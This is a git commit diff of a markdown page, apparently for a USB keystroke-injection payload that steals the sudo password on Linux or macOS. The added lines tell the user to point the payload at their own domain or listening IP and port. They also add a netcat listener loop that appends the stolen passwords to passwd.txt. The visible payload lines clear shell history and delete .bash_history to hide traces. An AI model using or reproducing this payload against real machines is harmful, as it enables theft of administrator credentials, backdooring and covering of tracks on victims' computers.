Updated Payload Linux or OSX sudo password grabber (markdown)

This commit is contained in:
Birkhoff 2017-09-13 21:37:09 -07:00
parent 6239358880
commit 1ccbc2ba32
1 changed files with 12 additions and 0 deletions

View File

@ -2,6 +2,8 @@ Payload originally designed by oXis for Bash Bunny.
Bash Bunny Payload page: https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/credentials/SudoBackdoor
Change example.com to your own domain or listening IP address and 1337 to your own port of choice.
```
REM Original Author: oXis
REM Original Payload for Bash Bunny: https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/credentials/SudoBackdoor
@ -76,4 +78,14 @@ STRING history -c && rm .bash_history && exit
ENTER
DELAY 1000
GUI q
```
Use this bash script to listen on your server:
```
#!/bin/bash
while [ true ]
do
netcat -vv -lp 1337 >> passwd.txt
done
```